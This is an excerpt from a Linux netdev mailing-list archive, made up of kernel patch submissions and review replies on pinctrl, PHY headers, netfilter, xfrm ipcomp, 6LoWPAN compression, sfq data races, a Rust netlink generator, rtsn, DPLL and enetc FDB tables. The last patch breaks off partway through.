Netdev List
 help / color / mirror / Atom feed
* Re: [PATCH v2 2/2] pinctrl: qcom: Add Shikra pinctrl driver
From: Krzysztof Kozlowski @ 2026-05-05  9:24 UTC (permalink / raw)
  To: Komal Bajaj
  Cc: Bjorn Andersson, Linus Walleij, Rob Herring, Krzysztof Kozlowski,
	Conor Dooley, Richard Cochran, linux-arm-msm, linux-gpio,
	devicetree, linux-kernel, netdev
In-Reply-To: <20260504-shikra-pinctrl-v2-2-14e9dcc2d685@oss.qualcomm.com>

On Mon, May 04, 2026 at 04:18:43PM +0530, Komal Bajaj wrote:
> +static void __exit shikra_tlmm_exit(void)
> +{
> +	platform_driver_unregister(&shikra_tlmm_driver);
> +}
> +module_exit(shikra_tlmm_exit);
> +
> +MODULE_DESCRIPTION("QTI Shikra TLMM driver");
> +MODULE_LICENSE("GPL");
> +MODULE_DEVICE_TABLE(of, shikra_tlmm_of_match);

This is NEVER placed separately from the table.

> 
> -- 
> 2.34.1
> 

^ permalink raw reply

* Re: [PATCH v7 phy-next 25/27] phy: include PHY provider header (2/2)
From: Vladimir Oltean @ 2026-05-05  9:22 UTC (permalink / raw)
  To: linux-phy
  Cc: Vinod Koul, Neil Armstrong, dri-devel, freedreno,
	linux-arm-kernel, linux-arm-msm, linux-can, linux-gpio, linux-ide,
	linux-kernel, linux-media, linux-pci, linux-renesas-soc,
	linux-riscv, linux-rockchip, linux-samsung-soc, linux-scsi,
	linux-sunxi, linux-tegra, linux-usb, netdev, spacemit,
	UNGLinuxDriver, Dmitry Baryshkov, Shawn Lin
In-Reply-To: <20260430110652.558622-26-vladimir.oltean@nxp.com>

Sashiko says:
> commit 4194b60e90a65a3b71a94359af9d2b530bae01d8
> Author: Vladimir Oltean <vladimir.oltean@nxp.com>
> phy: include PHY provider header (2/2)
> 
> This commit replaces the inclusion of the generic linux/phy/phy.h header
> with the internal PHY provider header across numerous PHY drivers. It targets
> drivers that act as PHY providers or chained provider/consumers to ensure they
> include the appropriate provider API definitions.
> [ ... ]
> 
> > diff --git a/include/linux/phy/ulpi_phy.h b/include/linux/phy/ulpi_phy.h
> > index 7054b440347ce..0f9e8430d398e 100644
> > --- a/include/linux/phy/ulpi_phy.h
> > +++ b/include/linux/phy/ulpi_phy.h
> > @@ -1,5 +1,5 @@
> >  /* SPDX-License-Identifier: GPL-2.0 */
> > -#include <linux/phy/phy.h>
> > +#include "../../drivers/phy/phy-provider.h"
> 
> Since this header is located in include/linux/phy/, won't navigating up two
> levels resolve to the include/ directory? That would make the compiler search
> for include/drivers/phy/phy-provider.h, which does not exist, and could cause
> build failures.

The LLM review is right that the relative include path is wrong.

> Also, does including a private subsystem header from a public API header in
> include/linux/ cause issues for out-of-tree builds? This exposes private
> structures and could cause regressions for external modules that include
> <linux/phy/ulpi_phy.h> since they won't have access to the kernel's drivers/
> directory.
> 
> If the provider API is needed here, would it be better to move the functions
> that depend on it out of the public header into a .c file?

I have moved the file from include/linux/phy/ulpi_phy.h to drivers/phy/ulpi_phy.h
for v8, and updated the relative include path to just "phy-provider.h".
Frankly, it is an oversight that ulpi_phy.h was still left in the public
<linux/phy/> directory.

> >  /**
> >   * Helper that registers PHY for a ULPI device and adds a lookup for binding it

^ permalink raw reply

* Re: [PATCH net] netfilter: ctnetlink: use nf_ct_exp_net() in expectation dump
From: Pablo Neira Ayuso @ 2026-05-05  9:19 UTC (permalink / raw)
  To: Pratham Gupta
  Cc: netfilter-devel, fw, phil, davem, edumazet, kuba, pabeni, horms,
	coreteam, netdev, linux-kernel, stable
In-Reply-To: <20260505051157.3895177-1-pratham36gupta@gmail.com>

Hi,

This is nf-next material.

On Mon, May 04, 2026 at 10:11:57PM -0700, Pratham Gupta wrote:
> Commit 02a3231b6d82 ("netfilter: nf_conntrack_expect: store netns and zone in expectation")
> introduced exp->net so RCU-only expectation paths no longer need to
> dereference exp->master for netns lookups.
> 
> Commit 3db5647984de ("netfilter: nf_conntrack_expect: skip expectations in other netns via proc")
> updated the proc path accordingly, but ctnetlink_exp_dump_table() still
> compares against nf_ct_net(exp->master).

There was no check in the /proc path.

> Use nf_ct_exp_net(exp) here as well so the netlink dump path matches
> the rest of the March 2026 expectation netns/RCU cleanup.

yes, this is a leftover, but it is safe to access 

> Fixes: 02a3231b6d82 ("netfilter: nf_conntrack_expect: store netns and zone in expectation")
> Cc: stable@vger.kernel.org
> Signed-off-by: Pratham Gupta <pratham36gupta@gmail.com>
> ---
> Tested expectation create/dump/delete on the host and in fresh Ubuntu 24.04
> Docker userspace. Concurrent namespace churn/dump testing did not reproduce
> a cross-netns leak.

What cross-netns leak are you refering? This is simply using the
conntrack netns instead of exp->netns which was added in 02a3231b6d82.

This is nf-next material.

>  net/netfilter/nf_conntrack_netlink.c | 2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)
> 
> diff --git a/net/netfilter/nf_conntrack_netlink.c b/net/netfilter/nf_conntrack_netlink.c
> index eda5fe4a75c8..8ae3f6acc2d2 100644
> --- a/net/netfilter/nf_conntrack_netlink.c
> +++ b/net/netfilter/nf_conntrack_netlink.c
> @@ -3158,7 +3158,7 @@ ctnetlink_exp_dump_table(struct sk_buff *skb, struct netlink_callback *cb)
>  			if (l3proto && exp->tuple.src.l3num != l3proto)
>  				continue;
>  
> -			if (!net_eq(nf_ct_net(exp->master), net))
> +			if (!net_eq(nf_ct_exp_net(exp), net))
>  				continue;
>  
>  			if (cb->args[1]) {
> -- 
> 2.43.0
> 

^ permalink raw reply

* [v2 PATCH] xfrm: ipcomp: Free destination pages on acomp errors
From: Herbert Xu @ 2026-05-05  9:18 UTC (permalink / raw)
  To: Ren Wei
  Cc: netdev, steffen.klassert, davem, edumazet, kuba, pabeni, horms,
	yuantan098, yifanwucs, tomapufckgml, bird, ronbogo, zylzyl2333
In-Reply-To: <8c304d9250d947b94cebc1cb1f85c73aa2bf0414.1777923646.git.zylzyl2333@gmail.com>

On Tue, May 05, 2026 at 04:52:59PM +0800, Ren Wei wrote:
> From: Yilin Zhu <zylzyl2333@gmail.com>
> 
> ipcomp_setup_req() allocates destination pages for the acomp output
> scatterlist. On successful completion, ipcomp_post_acomp() attaches the
> used pages to the skb and frees any unused pages.
> 
> On an acomp error, ipcomp_post_acomp() skips directly to freeing the
> request. acomp_request_free() only releases the request itself, so the
> caller-allocated destination pages are left allocated.
> 
> Track the number of destination pages allocated for the request and free
> them on the error path before releasing the request.
> 
> Fixes: eb2953d26971 ("xfrm: ipcomp: Use crypto_acomp interface")
> Cc: stable@kernel.org
> Reported-by: Yuan Tan <yuantan098@gmail.com>
> Reported-by: Yifan Wu <yifanwucs@gmail.com>
> Reported-by: Juefei Pu <tomapufckgml@gmail.com>
> Reported-by: Xin Liu <bird@lzu.edu.cn>
> Co-developed-by: Peihan Liu <ronbogo@outlook.com>
> Signed-off-by: Peihan Liu <ronbogo@outlook.com>
> Signed-off-by: Yilin Zhu <zylzyl2333@gmail.com>
> Signed-off-by: Ren Wei <n05ec@lzu.edu.cn>
> ---
>  net/xfrm/xfrm_ipcomp.c | 16 +++++++++++++++-
>  1 file changed, 15 insertions(+), 1 deletion(-)

Thanks for the patch! How about just moving the out_free_req label:

---8<---
Move the out_free_req label up by a couple of lines so that the
allocated dst SG list gets freed on error as well as success.

Fixes: eb2953d26971 ("xfrm: ipcomp: Use crypto_acomp interface")
Cc: stable@kernel.org
Reported-by: Yuan Tan <yuantan098@gmail.com>
Reported-by: Yifan Wu <yifanwucs@gmail.com>
Reported-by: Juefei Pu <tomapufckgml@gmail.com>
Reported-by: Xin Liu <bird@lzu.edu.cn>
Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>

diff --git a/net/xfrm/xfrm_ipcomp.c b/net/xfrm/xfrm_ipcomp.c
index 5f38dff16177..2947321b043d 100644
--- a/net/xfrm/xfrm_ipcomp.c
+++ b/net/xfrm/xfrm_ipcomp.c
@@ -51,11 +51,12 @@ static int ipcomp_post_acomp(struct sk_buff *skb, int err, int hlen)
 	struct scatterlist *dsg;
 	int len, dlen;
 
+	extra = acomp_request_extra(req);
+	dsg = extra->sg;
+
 	if (unlikely(err))
 		goto out_free_req;
 
-	extra = acomp_request_extra(req);
-	dsg = extra->sg;
 	dlen = req->dlen;
 
 	pskb_trim_unique(skb, 0);
@@ -84,10 +85,10 @@ static int ipcomp_post_acomp(struct sk_buff *skb, int err, int hlen)
 		skb_shinfo(skb)->nr_frags++;
 	} while ((dlen -= len));
 
+out_free_req:
 	for (; dsg; dsg = sg_next(dsg))
 		__free_page(sg_page(dsg));
 
-out_free_req:
 	acomp_request_free(req);
 	return err;
 }
-- 
Email: Herbert Xu <herbert@gondor.apana.org.au>
Home Page: http://gondor.apana.org.au/~herbert/
PGP Key: http://gondor.apana.org.au/~herbert/pubkey.txt

^ permalink raw reply related

* Vulnerability Report: Logical Error in 6LoWPAN Multicast Context Address Compression
From: Quan Sun @ 2026-05-05  9:18 UTC (permalink / raw)
  To: linux-wpan, netdev; +Cc: alex.aring, davem, edumazet

## 1. Summary
A logical vulnerability exists in the 6LoWPAN IPHC (IP Header 
Compression) subsystem of the Linux kernel, specifically within the 
`lowpan_iphc_mcast_ctx_addr_compress` function in `net/6lowpan/iphc.c`.

The function uses incorrect memory offsets during the `memcpy` 
operations intended to compress an IPv6 multicast address. This mismatch 
in offsets results in an incorrectly formed compressed address being 
transmitted over the network, which is incompatible with the 
corresponding decompression logic. Consequently, context-based multicast 
address compression in 6LoWPAN is broken and fails to operate as defined 
by the protocol.

## 2. Vulnerability Details

According to 6LoWPAN address compression standards (and aligning with 
the decompression function `lowpan_uncompress_multicast_ctx_daddr`), a 
context-based compressed multicast address should be represented by 
exactly 6 bytes:
*   **Bytes 0-1:** Derived from `s6_addr[1]` and `s6_addr[2]` (Flags, 
Scope, and Reserved bits).
*   **Bytes 2-5:** Derived from `s6_addr[12]` to `s6_addr[15]` (The 
4-byte Group ID).

However, in the compression function 
`lowpan_iphc_mcast_ctx_addr_compress`, the offsets provided to the 
`memcpy` calls are flawed:

```c
static u8 lowpan_iphc_mcast_ctx_addr_compress(u8 **hc_ptr,
					      const struct lowpan_iphc_ctx *ctx,
					      const struct in6_addr *ipaddr)
{
	u8 data[6];

	/* flags/scope, reserved (RIID) */
	memcpy(data, &ipaddr->s6_addr[1], 2);
	/* group ID */
	memcpy(&data[1], &ipaddr->s6_addr[11], 4);
	lowpan_push_hc_data(hc_ptr, data, 6);

	return LOWPAN_IPHC_DAM_00;
}
```

### Analysis of the Error:
1.  **Incorrect Destination Offset:** The second `memcpy` writes to 
`&data[1]` instead of `&data[2]`. This overwrites the byte previously 
copied from `s6_addr[2]` into `data[1]`.
2.  **Incorrect Source Offset:** The source address is specified as 
`&ipaddr->s6_addr[11]` instead of `&ipaddr->s6_addr[12]`. This means it 
begins reading from the last byte of the network prefix rather than the 
start of the 4-byte Group ID.

Because the compression formatting does not match the expected structure 
required by the decompression function, multicast packets utilizing 
context-based compression will be corrupted upon transmission.

## 3. Impact
This vulnerability breaks the Context-Based Multicast Address 
Compression feature (`LOWPAN_IPHC_DAM_00` when `M` and `DAC` bits are 
set) in 6LoWPAN networks. Nodes receiving these packets will incorrectly 
decompress the destination multicast address, leading to dropped packets 
and communication failures within the multicast group.

## 4. Suggested Fix
The fix requires adjusting both the destination and source offsets in 
the second `memcpy` call to correctly place the 4-byte Group ID into the 
compressed `data` buffer.

### Proposed Patch:

```diff
--- a/net/6lowpan/iphc.c
+++ b/net/6lowpan/iphc.c
@@ -1084,9 +1084,9 @@ static u8 lowpan_iphc_mcast_ctx_addr_compress(u8 
**hc_ptr,
  	u8 data[6];

  	/* flags/scope, reserved (RIID) */
  	memcpy(data, &ipaddr->s6_addr[1], 2);
  	/* group ID */
-	memcpy(&data[1], &ipaddr->s6_addr[11], 4);
+	memcpy(&data[2], &ipaddr->s6_addr[12], 4);
  	lowpan_push_hc_data(hc_ptr, data, 6);

  	return LOWPAN_IPHC_DAM_00;
  }
```


^ permalink raw reply

* [PATCH v2 net] net/sched: sch_sfq: annotate data-races from sfq_dump_class_stats()
From: Eric Dumazet @ 2026-05-05  9:11 UTC (permalink / raw)
  To: David S . Miller, Jakub Kicinski, Paolo Abeni
  Cc: Simon Horman, Jamal Hadi Salim, Jiri Pirko, netdev, eric.dumazet,
	Eric Dumazet

sfq_dump_class_stats() runs locklessly, add needed READ_ONCE()
and WRITE_ONCE() annotations.

Fixes: edb09eb17ed8 ("net: sched: do not acquire qdisc spinlock in qdisc/class stats dump")
Signed-off-by: Eric Dumazet <edumazet@google.com>
---
v2: fix logic error in sfq_dec()

 net/sched/sch_sfq.c | 48 +++++++++++++++++++++++----------------------
 1 file changed, 25 insertions(+), 23 deletions(-)

diff --git a/net/sched/sch_sfq.c b/net/sched/sch_sfq.c
index c3f3181dba5424eb9d26362a1628653bb9392e89..f39822babf88bee9d52cac9f39637d38ec36994f 100644
--- a/net/sched/sch_sfq.c
+++ b/net/sched/sch_sfq.c
@@ -225,7 +225,8 @@ static inline void sfq_dec(struct sfq_sched_data *q, sfq_index x)
 
 	sfq_unlink(q, x, n, p);
 
-	d = q->slots[x].qlen--;
+	d = q->slots[x].qlen;
+	WRITE_ONCE(q->slots[x].qlen, d - 1);
 	if (n == p && q->cur_depth == d)
 		q->cur_depth--;
 	sfq_link(q, x);
@@ -238,7 +239,8 @@ static inline void sfq_inc(struct sfq_sched_data *q, sfq_index x)
 
 	sfq_unlink(q, x, n, p);
 
-	d = ++q->slots[x].qlen;
+	d = q->slots[x].qlen + 1;
+	WRITE_ONCE(q->slots[x].qlen, d);
 	if (q->cur_depth < d)
 		q->cur_depth = d;
 	sfq_link(q, x);
@@ -298,7 +300,7 @@ static unsigned int sfq_drop(struct Qdisc *sch, struct sk_buff **to_free)
 drop:
 		skb = q->headdrop ? slot_dequeue_head(slot) : slot_dequeue_tail(slot);
 		len = qdisc_pkt_len(skb);
-		slot->backlog -= len;
+		WRITE_ONCE(slot->backlog, slot->backlog - len);
 		sfq_dec(q, x);
 		sch->q.qlen--;
 		qdisc_qstats_backlog_dec(sch, skb);
@@ -314,7 +316,7 @@ static unsigned int sfq_drop(struct Qdisc *sch, struct sk_buff **to_free)
 			q->tail = NULL; /* no more active slots */
 		else
 			q->tail->next = slot->next;
-		q->ht[slot->hash] = SFQ_EMPTY_SLOT;
+		WRITE_ONCE(q->ht[slot->hash], SFQ_EMPTY_SLOT);
 		goto drop;
 	}
 
@@ -364,10 +366,10 @@ sfq_enqueue(struct sk_buff *skb, struct Qdisc *sch, struct sk_buff **to_free)
 		x = q->dep[0].next; /* get a free slot */
 		if (x >= SFQ_MAX_FLOWS)
 			return qdisc_drop_reason(skb, sch, to_free, QDISC_DROP_MAXFLOWS);
-		q->ht[hash] = x;
+		WRITE_ONCE(q->ht[hash], x);
 		slot = &q->slots[x];
 		slot->hash = hash;
-		slot->backlog = 0; /* should already be 0 anyway... */
+		WRITE_ONCE(slot->backlog, 0); /* should already be 0 anyway... */
 		red_set_vars(&slot->vars);
 		goto enqueue;
 	}
@@ -426,7 +428,7 @@ sfq_enqueue(struct sk_buff *skb, struct Qdisc *sch, struct sk_buff **to_free)
 		head = slot_dequeue_head(slot);
 		delta = qdisc_pkt_len(head) - qdisc_pkt_len(skb);
 		sch->qstats.backlog -= delta;
-		slot->backlog -= delta;
+		WRITE_ONCE(slot->backlog, slot->backlog - delta);
 		qdisc_drop_reason(head, sch, to_free, QDISC_DROP_FLOW_LIMIT);
 
 		slot_queue_add(slot, skb);
@@ -436,7 +438,7 @@ sfq_enqueue(struct sk_buff *skb, struct Qdisc *sch, struct sk_buff **to_free)
 
 enqueue:
 	qdisc_qstats_backlog_inc(sch, skb);
-	slot->backlog += qdisc_pkt_len(skb);
+	WRITE_ONCE(slot->backlog, slot->backlog + qdisc_pkt_len(skb));
 	slot_queue_add(slot, skb);
 	sfq_inc(q, x);
 	if (slot->qlen == 1) {		/* The flow is new */
@@ -452,7 +454,7 @@ sfq_enqueue(struct sk_buff *skb, struct Qdisc *sch, struct sk_buff **to_free)
 		 */
 		q->tail = slot;
 		/* We could use a bigger initial quantum for new flows */
-		slot->allot = q->quantum;
+		WRITE_ONCE(slot->allot, q->quantum);
 	}
 	if (++sch->q.qlen <= q->limit)
 		return NET_XMIT_SUCCESS;
@@ -489,7 +491,7 @@ sfq_dequeue(struct Qdisc *sch)
 	slot = &q->slots[a];
 	if (slot->allot <= 0) {
 		q->tail = slot;
-		slot->allot += q->quantum;
+		WRITE_ONCE(slot->allot, slot->allot + q->quantum);
 		goto next_slot;
 	}
 	skb = slot_dequeue_head(slot);
@@ -497,10 +499,10 @@ sfq_dequeue(struct Qdisc *sch)
 	qdisc_bstats_update(sch, skb);
 	sch->q.qlen--;
 	qdisc_qstats_backlog_dec(sch, skb);
-	slot->backlog -= qdisc_pkt_len(skb);
+	WRITE_ONCE(slot->backlog, slot->backlog - qdisc_pkt_len(skb));
 	/* Is the slot empty? */
 	if (slot->qlen == 0) {
-		q->ht[slot->hash] = SFQ_EMPTY_SLOT;
+		WRITE_ONCE(q->ht[slot->hash], SFQ_EMPTY_SLOT);
 		next_a = slot->next;
 		if (a == next_a) {
 			q->tail = NULL; /* no more active slots */
@@ -508,7 +510,7 @@ sfq_dequeue(struct Qdisc *sch)
 		}
 		q->tail->next = next_a;
 	} else {
-		slot->allot -= qdisc_pkt_len(skb);
+		WRITE_ONCE(slot->allot, slot->allot - qdisc_pkt_len(skb));
 	}
 	return skb;
 }
@@ -549,9 +551,9 @@ static void sfq_rehash(struct Qdisc *sch)
 			sfq_dec(q, i);
 			__skb_queue_tail(&list, skb);
 		}
-		slot->backlog = 0;
+		WRITE_ONCE(slot->backlog, 0);
 		red_set_vars(&slot->vars);
-		q->ht[slot->hash] = SFQ_EMPTY_SLOT;
+		WRITE_ONCE(q->ht[slot->hash], SFQ_EMPTY_SLOT);
 	}
 	q->tail = NULL;
 
@@ -570,7 +572,7 @@ static void sfq_rehash(struct Qdisc *sch)
 				dropped++;
 				continue;
 			}
-			q->ht[hash] = x;
+			WRITE_ONCE(q->ht[hash], x);
 			slot = &q->slots[x];
 			slot->hash = hash;
 		}
@@ -581,7 +583,7 @@ static void sfq_rehash(struct Qdisc *sch)
 			slot->vars.qavg = red_calc_qavg(q->red_parms,
 							&slot->vars,
 							slot->backlog);
-		slot->backlog += qdisc_pkt_len(skb);
+		WRITE_ONCE(slot->backlog, slot->backlog + qdisc_pkt_len(skb));
 		sfq_inc(q, x);
 		if (slot->qlen == 1) {		/* The flow is new */
 			if (q->tail == NULL) {	/* It is the first flow */
@@ -591,7 +593,7 @@ static void sfq_rehash(struct Qdisc *sch)
 				q->tail->next = x;
 			}
 			q->tail = slot;
-			slot->allot = q->quantum;
+			WRITE_ONCE(slot->allot, q->quantum);
 		}
 	}
 	sch->q.qlen -= dropped;
@@ -905,16 +907,16 @@ static int sfq_dump_class_stats(struct Qdisc *sch, unsigned long cl,
 				struct gnet_dump *d)
 {
 	struct sfq_sched_data *q = qdisc_priv(sch);
-	sfq_index idx = q->ht[cl - 1];
+	sfq_index idx = READ_ONCE(q->ht[cl - 1]);
 	struct gnet_stats_queue qs = { 0 };
 	struct tc_sfq_xstats xstats = { 0 };
 
 	if (idx != SFQ_EMPTY_SLOT) {
 		const struct sfq_slot *slot = &q->slots[idx];
 
-		xstats.allot = slot->allot;
-		qs.qlen = slot->qlen;
-		qs.backlog = slot->backlog;
+		xstats.allot = READ_ONCE(slot->allot);
+		qs.qlen = READ_ONCE(slot->qlen);
+		qs.backlog = READ_ONCE(slot->backlog);
 	}
 	if (gnet_stats_copy_queue(d, NULL, &qs, qs.qlen) < 0)
 		return -1;
@@ -930,7 +932,7 @@ static void sfq_walk(struct Qdisc *sch, struct qdisc_walker *arg)
 		return;
 
 	for (i = 0; i < q->divisor; i++) {
-		if (q->ht[i] == SFQ_EMPTY_SLOT) {
+		if (READ_ONCE(q->ht[i]) == SFQ_EMPTY_SLOT) {
 			arg->count++;
 			continue;
 		}
-- 
2.54.0.545.g6539524ca2-goog


^ permalink raw reply related

* Re: [PATCH v4 2/4] ynl_gen: generate Rust files from yaml files
From: Alice Ryhl @ 2026-05-05  9:10 UTC (permalink / raw)
  To: Jakub Kicinski
  Cc: Carlos Llamas, Greg Kroah-Hartman, Andrew Lunn, Donald Hunter,
	David S. Miller, Eric Dumazet, Paolo Abeni, Simon Horman,
	Matthew Maurer, Miguel Ojeda, Boqun Feng, Gary Guo,
	Björn Roy Baron, Benno Lossin, Andreas Hindborg,
	Trevor Gross, Danilo Krummrich, Christian Brauner, linux-kernel,
	rust-for-linux, netdev
In-Reply-To: <20260504165858.4882730b@kernel.org>

On Mon, May 04, 2026 at 04:58:58PM -0700, Jakub Kicinski wrote:
> On Mon, 04 May 2026 09:04:55 +0000 Alice Ryhl wrote:
> >  tools/net/ynl/pyynl/ynl_gen_c.py | 139 ++++++++++++++++++++++++++++++++++++++-
> 
> No. Rust. In. This. File.
> 
> Just commit the artifacts. I truly hope that this is the only Netlink
> family we will have in Rust.

There's no reason to react like this. I have not ignored your concern.
Last time we discussed this, the discussion ended on splitting the file
into ynl_gen_c.py and ynl_gen_rust.py, which you did not reply to, and I
actually spent some time working on that. However, I felt the change was
non-trivial and I wanted to discuss whether that was the correct way
forward before spending more time on it. Therefore, I kept this patch
as-is for now and noted why it was non-trivial (sharing of CodeWriter)
in the commit message, until we could discuss further.

I think you are probably right that just comitting the artifacts is the
simplest way forward for now. Especially since Donald is apparently
working on splitting up the file for strace [1]. On the off-chance that
a second Netlink family is ever added, hopefully Donald's work has
already completed and we can easily add this support in a new file when
the time comes.

I guess another way forward is to commit a copy of the python script
with the Rust support to drivers/android/binder/ and I can run it
manually if the Binder yaml file is ever updated.

Alice

[1]: https://lore.kernel.org/r/CAD4GDZxGo6p9A07rKAW4MZNdFOYrMVzjkYNjwTqKfFcqKkzU1g@mail.gmail.com

^ permalink raw reply

* [PATCH net v2] net: rtsn: fix mdio_node leak in rtsn_mdio_alloc()
From: Shitalkumar Gandhi @ 2026-05-05  8:58 UTC (permalink / raw)
  To: Niklas Söderlund
  Cc: Geert Uytterhoeven, Jakub Kicinski, David S . Miller,
	Eric Dumazet, Paolo Abeni, Andrew Lunn, Simon Horman, netdev,
	linux-renesas-soc, linux-kernel, Shitalkumar Gandhi
In-Reply-To: <20260504200356.3529873-1-shitalkumar.gandhi@cambiumnetworks.com>

of_get_child_by_name() takes a reference. The rtsn_reset() and
rtsn_change_mode() failure paths jump to out_free_bus and leak
mdio_node.

Add out_put_node to drop it before falling through.

Fixes: b0d3969d2b4d ("net: ethernet: rtsn: Add support for Renesas Ethernet-TSN")
Signed-off-by: Shitalkumar Gandhi <shitalkumar.gandhi@cambiumnetworks.com>
Reviewed-by: Geert Uytterhoeven <geert+renesas@glider.be>
---
Changes in v2:
- Restore blank line between `return 0;` and `out_put_node:` label (Geert)
- Add Reviewed-by: Geert Uytterhoeven

Link to v1: https://lore.kernel.org/netdev/20260504200356.3529873-1-shitalkumar.gandhi@cambiumnetworks.com/

 drivers/net/ethernet/renesas/rtsn.c | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/drivers/net/ethernet/renesas/rtsn.c b/drivers/net/ethernet/renesas/rtsn.c
index 03a2669f0518..ee8381b60b8d 100644
--- a/drivers/net/ethernet/renesas/rtsn.c
+++ b/drivers/net/ethernet/renesas/rtsn.c
@@ -797,11 +797,11 @@ static int rtsn_mdio_alloc(struct rtsn_private *priv)
 	/* Enter config mode before registering the MDIO bus */
 	ret = rtsn_reset(priv);
 	if (ret)
-		goto out_free_bus;
+		goto out_put_node;
 
 	ret = rtsn_change_mode(priv, OCR_OPC_CONFIG);
 	if (ret)
-		goto out_free_bus;
+		goto out_put_node;
 
 	rtsn_modify(priv, MPIC, MPIC_PSMCS_MASK | MPIC_PSMHT_MASK,
 		    MPIC_PSMCS_DEFAULT | MPIC_PSMHT_DEFAULT);
@@ -824,6 +824,8 @@ static int rtsn_mdio_alloc(struct rtsn_private *priv)
 
 	return 0;
 
+out_put_node:
+	of_node_put(mdio_node);
 out_free_bus:
 	mdiobus_free(mii);
 	return ret;
-- 
2.25.1


^ permalink raw reply related

* RE: [PATCH v7 net-next 2/8] dpll: allow registering FW-identified pin with a different DPLL
From: Nitka, Grzegorz @ 2026-05-05  8:59 UTC (permalink / raw)
  To: Jakub Kicinski
  Cc: netdev@vger.kernel.org, linux-kernel@vger.kernel.org,
	intel-wired-lan@lists.osuosl.org, Oros, Petr,
	richardcochran@gmail.com, andrew+netdev@lunn.ch,
	Kitszel, Przemyslaw, Nguyen, Anthony L,
	Prathosh.Satish@microchip.com, Vecera, Ivan, jiri@resnulli.us,
	Kubalewski, Arkadiusz, vadim.fedorenko@linux.dev,
	donald.hunter@gmail.com, horms@kernel.org, pabeni@redhat.com,
	davem@davemloft.net, edumazet@google.com, Jiri Pirko,
	Loktionov, Aleksandr
In-Reply-To: <20260502102715.2ac364c8@kernel.org>



> -----Original Message-----
> From: Jakub Kicinski <kuba@kernel.org>
> Sent: Saturday, May 2, 2026 7:27 PM
> To: Nitka, Grzegorz <grzegorz.nitka@intel.com>
> Cc: netdev@vger.kernel.org; linux-kernel@vger.kernel.org; intel-wired-
> lan@lists.osuosl.org; Oros, Petr <poros@redhat.com>;
> richardcochran@gmail.com; andrew+netdev@lunn.ch; Kitszel, Przemyslaw
> <przemyslaw.kitszel@intel.com>; Nguyen, Anthony L
> <anthony.l.nguyen@intel.com>; Prathosh.Satish@microchip.com; Vecera,
> Ivan <ivecera@redhat.com>; jiri@resnulli.us; Kubalewski, Arkadiusz
> <arkadiusz.kubalewski@intel.com>; vadim.fedorenko@linux.dev;
> donald.hunter@gmail.com; horms@kernel.org; pabeni@redhat.com;
> davem@davemloft.net; edumazet@google.com; Jiri Pirko <jiri@nvidia.com>;
> Loktionov, Aleksandr <aleksandr.loktionov@intel.com>
> Subject: Re: [PATCH v7 net-next 2/8] dpll: allow registering FW-identified pin
> with a different DPLL
> 
> On Thu, 30 Apr 2026 11:42:32 +0200 Grzegorz Nitka wrote:
> > Relax the (module, clock_id) equality requirement when registering a
> > pin identified by firmware (pin->fwnode). Some platforms associate a
> > FW-described pin with a DPLL instance that differs from the pin's
> > (module, clock_id) tuple. For such pins, permit registration without
> > requiring the strict match. Non-FW pins still require equality.
> 
> AI asks what prevents the modules from disappearing:
> 
> Does this relaxed check expose pin->module to a use-after-free during
> netlink queries?
> If module A registers a firmware-described pin allocated by module B,
> they will have different module pointers.
> Because fwnode_dpll_pin_find() increases the pin's refcount but does
> not take a reference to module B via try_module_get(), it appears module B
> could be unloaded while module A still holds an active reference to the pin.
> When module B unloads, its struct module memory is freed, leaving
> pin->module as a dangling pointer.
> A subsequent user-space Netlink query using DPLL_CMD_PIN_GET iterates
> over
> the registered pins and calls nla_put_string() with module_name(pin-
> >module),
> which would dereference the freed module memory.

This AI review comment is a valid concern.
I'm going, of course, to address it in the next iteration.

Thanks

Grzegorz

^ permalink raw reply

* Re: [PATCH v5 net-next 04/15] net: enetc: add basic operations to the FDB table
From: Paolo Abeni @ 2026-05-05  8:59 UTC (permalink / raw)
  To: Wei Fang, claudiu.manoil, vladimir.oltean, xiaoning.wang,
	andrew+netdev, davem, edumazet, kuba, robh, krzk+dt, conor+dt,
	f.fainelli, frank.li, chleroy, horms, linux
  Cc: netdev, linux-kernel, devicetree, linuxppc-dev, linux-arm-kernel,
	imx
In-Reply-To: <20260430024945.3413973-5-wei.fang@nxp.com>

On 4/30/26 4:49 AM, Wei Fang wrote:
> The FDB table is used for MAC learning lookups and MAC forwarding lookups.
> Each table entry includes information such as a FID and MAC address that
> may be unicast or multicast and a forwarding destination field containing
> a port bitmap identifying the associated port(s) with the MAC address.
> FDB table entries can be static or dynamic. Static entries are added from
> software whereby dynamic entries are added either by software or by the
> hardware as MAC addresses are learned in the datapath.
> 
> The FDB table can only be managed by the command BD ring using table
> management protocol version 2.0. Table management command operations Add,
> Delete, Update and Query are supported. And the FDB table supports three
> access methods: Entry ID, Exact Match Key Element and Search. This patch
> adds the following basic supports to the FDB table.
> 
> ntmp_fdbt_update_entry() - update the configuration element data of a
> specified FDB entry
> 
> ntmp_fdbt_delete_entry() - delete a specified FDB entry
> 
> ntmp_fdbt_add_entry() - add an entry into the FDB table
> 
> ntmp_fdbt_search_port_entry() - Search the FDB entry on the specified
> port based on RESUME_ENTRY_ID.
> 
> Signed-off-by: Wei Fang <wei.fang@nxp.com>
> ---
>  drivers/net/ethernet/freescale/enetc/ntmp.c   | 203 +++++++++++++++++-
>  .../ethernet/freescale/enetc/ntmp_private.h   |  61 +++++-
>  include/linux/fsl/ntmp.h                      |  44 +++-
>  3 files changed, 305 insertions(+), 3 deletions(-)
> 
> diff --git a/drivers/net/ethernet/freescale/enetc/ntmp.c b/drivers/net/ethernet/freescale/enetc/ntmp.c
> index c94a928622fd..4ed8d783a9a2 100644
> --- a/drivers/net/ethernet/freescale/enetc/ntmp.c
> +++ b/drivers/net/ethernet/freescale/enetc/ntmp.c
> @@ -1,7 +1,7 @@
>  // SPDX-License-Identifier: (GPL-2.0+ OR BSD-3-Clause)
>  /*
>   * NETC NTMP (NETC Table Management Protocol) 2.0 Library
> - * Copyright 2025 NXP
> + * Copyright 2025-2026 NXP
>   */
>  
>  #include <linux/dma-mapping.h>
> @@ -21,11 +21,15 @@
>  /* Define NTMP Table ID */
>  #define NTMP_MAFT_ID			1
>  #define NTMP_RSST_ID			3
> +#define NTMP_FDBT_ID			15
>  
>  /* Generic Update Actions for most tables */
>  #define NTMP_GEN_UA_CFGEU		BIT(0)
>  #define NTMP_GEN_UA_STSEU		BIT(1)
>  
